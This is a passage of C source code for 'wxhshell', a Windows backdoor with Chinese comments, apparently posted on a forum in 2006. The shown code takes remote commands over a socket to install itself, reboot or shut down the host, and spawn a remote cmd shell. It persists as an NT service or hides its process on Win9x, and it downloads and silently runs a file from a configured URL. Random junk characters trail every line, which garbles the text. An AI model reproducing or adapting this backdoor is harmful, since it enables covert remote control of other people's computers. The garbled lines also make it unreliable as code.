  else { a|  
{HlUV33O  
    switch(cmd[0]) { bvk+i?{H  
  TdG[b1xN  
  // 帮助 u7<B*d:  
  case '?': { E&jngxlN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m RxL%!  
    break; >{$ ;O  
  } &(IL`%  
  // 安装  >pT92VN  
  case 'i': { ` L6H2:pf  
    if(Install()) ^7vh ize  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rmk'{"  
    else R1\cAP^ 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y:ZI9JK?  
    break; X_ !Sm  
    } ;xXHSxa:=W  
  // 卸载 b8feo'4Z   
  case 'r': { rM/*_0[`d  
    if(Uninstall()) av&dGsFP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Or3X/:o  
    else !s9<%bp3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `9kjYSd#E  
    break; 7a-> "W  
    } 8pg?g'A~}  
  // 显示 wxhshell 所在路径 Zj[Bm\ 8  
  case 'p': { )|q,RAn  
    char svExeFile[MAX_PATH]; RHz'Dz>0  
    strcpy(svExeFile,"\n\r"); VsNqYFHes&  
      strcat(svExeFile,ExeFile); ?so 3Kj6H  
        send(wsh,svExeFile,strlen(svExeFile),0); T<mk98CdE  
    break; K &Ht37T  
    } 9L*gxI>  
  // 重启 ,iB)8Km@U  
  case 'b': { [="moh2*f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GL.& g{$#+  
    if(Boot(REBOOT)) fI t:eKHr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s"=e (ob  
    else { \b1I<4(  
    closesocket(wsh); ;yx+BaG~?  
    ExitThread(0); cJGA5m/{I  
    } \"<&8  
    break; P (_:8|E  
    } f)vD2_E  
  // 关机 jCtl ]  
  case 'd': { r9yUye}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q;}^Jpb;  
    if(Boot(SHUTDOWN)) t&ztY] qh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x EOR\(Z^  
    else { 6Bo~7gnc  
    closesocket(wsh); DOw< XlvC  
    ExitThread(0); _2<|0lvh  
    } f]0kG  
    break; 9c}LG5  
    } );@@>~  
  // 获取shell LyS139P$  
  case 's': { f>;5ZE4Zu  
    CmdShell(wsh); tI{pu}/"#  
    closesocket(wsh); #z6RzZu  
    ExitThread(0); nv2Y6e}dG  
    break; mO?G[?*\  
  } wGBQ.Ve[  
  // 退出 '.#KkvE##  
  case 'x': {  ?MPM@9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n,9 *!1y  
    CloseIt(wsh); Z>7Oez>  
    break; OV;Ho  
    } X6N^<Z$  
  // 离开  4O[5,  
  case 'q': { k(3 s^B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uY5f mM9  
    closesocket(wsh); aL-V9y  
    WSACleanup(); D@"q2 !  
    exit(1); %$:js4  
    break; st:[|`  
        } XaR(q2s  
  } S2*-UluG  
  } H*A)U'`  
) Z0  
  // 提示信息 /?9e{,\s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A&Ut:OiA  
} '4L i  
  } WvAl!^{`  
23U9+  
  return; BYhPOg[  
} $ *MjNj2  
Y=vA ;BE]R  
// shell模块句柄 n 'ZlIh  
int CmdShell(SOCKET sock) c5mv4 MC  
{ &pZ]F=.r+  
STARTUPINFO si; Zdr +{-  
ZeroMemory(&si,sizeof(si)); Q^Y>T&Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X`.4byqdK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qusgX;)  
PROCESS_INFORMATION ProcessInfo; n?YGX W/  
char cmdline[]="cmd"; ]Q6,,/nn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q~;P^i<Y  
  return 0; @Ys(j$U't  
} TAi |]U!  
wAVO%8u  
// 自身启动模式 :kOLiko!4>  
int StartFromService(void) oMkB!s  
{ UDt.w82  
typedef struct rw ^^12)  
{ :uu\q7@'  
  DWORD ExitStatus; 1k-^LdDj  
  DWORD PebBaseAddress; nm*1JA.:  
  DWORD AffinityMask; 7V 2%  
  DWORD BasePriority; 6i9m!YQV  
  ULONG UniqueProcessId; =uKK{\+|Y  
  ULONG InheritedFromUniqueProcessId; RRV@nDf   
}   PROCESS_BASIC_INFORMATION; rfXM*h  
HqcXP2  
PROCNTQSIP NtQueryInformationProcess; KynQ <I/  
(xG#D;M0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w^A8ZT0^7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |jEKUTv,G  
P2 !~}{-  
  HANDLE             hProcess; F2z^7n.S  
  PROCESS_BASIC_INFORMATION pbi; h:a5FK@  
8p-5.GU)<e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R+]Fh4t  
  if(NULL == hInst ) return 0; P-7!\[];te  
wAF>C[<\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 96}/;e]@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `w[0q?}"`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FGy7KVR  
AWh{dM  
  if (!NtQueryInformationProcess) return 0; m&Ms[X  
qWw@6VvoQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "h2;65@  
  if(!hProcess) return 0; 6Ck?O/^  
dK|MQ <  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [0m'a\YE9  
o:f=dBmoX  
  CloseHandle(hProcess); 7M3q|7 ?  
^ }U{O A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : b $ M  
if(hProcess==NULL) return 0; ;yBq'_e3  
Y 0$m~}j  
HMODULE hMod; wD22@uM#]  
char procName[255]; rnmWw#  
unsigned long cbNeeded; q>]v~  
` *$^rQS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uLe+1`Y5Ux  
9oKRu6]D-  
  CloseHandle(hProcess); *>$'aQ  
sFC1PdSk4T  
if(strstr(procName,"services")) return 1; // 以服务启动 A>R ^iu  
43,- t_jV  
  return 0; // 注册表启动 K*7*`6iU  
} 5\:#-IYJ  
,(OA5%A9zK  
// 主模块 ~AjbF(Ad  
int StartWxhshell(LPSTR lpCmdLine) $`{}4,5M  
{ G U0zlG] C  
  SOCKET wsl; 3|P P+<o  
BOOL val=TRUE; f>#\'+l'  
  int port=0; A5ktbj&gy<  
  struct sockaddr_in door; >+#TsX{  
N^%[ B9D  
  if(wscfg.ws_autoins) Install(); a[lE9JA;|  
F] M3/M  
port=atoi(lpCmdLine); q'C'S#qqn  
ds5<4SLj  
if(port<=0) port=wscfg.ws_port; -S)HB$8  
:bLGDEC  
  WSADATA data; Da?0B9'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k(u W( 6  
{;f` t3D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @B7 ;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _ky!4^B  
  door.sin_family = AF_INET; 0kmVP~K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~4XJ" d3L  
  door.sin_port = htons(port); n)$ q*IN"  
@^k$`W;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :L*CL 8m  
closesocket(wsl); l]oGhM;  
return 1; z#D@mn5\ a  
} J@!Sf7k42  
_ F@>?\B  
  if(listen(wsl,2) == INVALID_SOCKET) { CDU^X$Q  
closesocket(wsl); Gx'mVC"{  
return 1; 2=["jP!B  
} KhXW5hS1  
  Wxhshell(wsl); X+P3a/T  
  WSACleanup(); ;2#7"a^  
W5J"#^kdF8  
return 0; axXA y5  
SV6Np?U  
} +qzsC/y  
 M"X/([G  
// 以NT服务方式启动 "=P@x|I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N{|N_}X`Y  
{ He"> kJx  
DWORD   status = 0; }I05&/o.3p  
  DWORD   specificError = 0xfffffff; pOnZ7(  
>jN)9}3>-#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vwm\a]s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dXrv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .!nFy`  
  serviceStatus.dwWin32ExitCode     = 0; (Pvch!  
  serviceStatus.dwServiceSpecificExitCode = 0; %8S!l;\H5  
  serviceStatus.dwCheckPoint       = 0; n+Fl|4  
  serviceStatus.dwWaitHint       = 0; 3o"~_l$z  
`S$BBF;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8I@= ?  
  if (hServiceStatusHandle==0) return; MJ}VNv|S  
,^AkfOY7"  
status = GetLastError(); (Q#A Br8  
  if (status!=NO_ERROR) 89'nbg  
{ M#F;eK2pf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h7gH4L!'u  
    serviceStatus.dwCheckPoint       = 0; ;M@ /AAZ  
    serviceStatus.dwWaitHint       = 0; 5:^dyF&sm{  
    serviceStatus.dwWin32ExitCode     = status; MFE~bU(h  
    serviceStatus.dwServiceSpecificExitCode = specificError; )7c^@I;7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6M612   
    return; N-_2d*l3  
  } ymr-kB  
G78rpp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b4oZ@gVR;  
  serviceStatus.dwCheckPoint       = 0; F =d L#@^  
  serviceStatus.dwWaitHint       = 0; X1tAV>k5'L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U{i9h6b"18  
} {U-VInu  
WlWBYnphZs  
// 处理NT服务事件,比如:启动、停止  <&$!;d8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^XZm tB  
{ Q8z>0ci3o  
switch(fdwControl) mQo]k  
{ "xnek8F  
case SERVICE_CONTROL_STOP: a&PoUwG  
  serviceStatus.dwWin32ExitCode = 0; (Ozb+W?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L7a+ #mGE  
  serviceStatus.dwCheckPoint   = 0; H'Z[3e  
  serviceStatus.dwWaitHint     = 0; jr~76  
  { P9X/yZ42  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^[^uDE <  
  } =0x[Sa$&,  
  return; )0qXZ gs  
case SERVICE_CONTROL_PAUSE: VPtA %1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xJc'tT6@  
  break; rpDH>Hzq  
case SERVICE_CONTROL_CONTINUE: D&Ngg)_Mq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F?5kl/("  
  break; X Uh)z  
case SERVICE_CONTROL_INTERROGATE: O6k[1C  
  break; {[)J~kC+  
}; 1Voo($q.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j_p.KF'[?  
} d~GT w:  
BXyZn0k  
// 标准应用程序主函数 pS0-<-\R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [x-Z)Q. 5  
{ ) ,*&rd!  
.o.@cLdU  
// 获取操作系统版本 1c?,= ;>  
OsIsNt=GetOsVer(); BD,~M*%z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NTgk0cq  
gt{ei)2b  
  // 从命令行安装 4/Ok/I  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]'2p"A0U  
/$I&D}uR`  
  // 下载执行文件 |$7!u DU8  
if(wscfg.ws_downexe) { f85j?Jm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y(6&90cr  
  WinExec(wscfg.ws_filenam,SW_HIDE); /Hx%gKU  
} /M B0%6m  
bF?EuL  
if(!OsIsNt) { AB}Qd\  
// 如果时win9x,隐藏进程并且设置为注册表启动 X+bLLW>&  
HideProc(); 6Y\9h)1Jo  
StartWxhshell(lpCmdLine); Njz,y}\  
} Oh<Z0M)  
else v8-F;>H  
  if(StartFromService()) _qJ[~'m<^C  
  // 以服务方式启动 2ORWdR.b  
  StartServiceCtrlDispatcher(DispatchTable); oBKZ$&_h  
else 49Ht I9@  
  // 普通方式启动 Q.M3rRh  
  StartWxhshell(lpCmdLine); K& 2p<\2  
tlqDY1  
return 0; od?Q&'A  
}
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只看该作者 1 发表于: 2006-10-10
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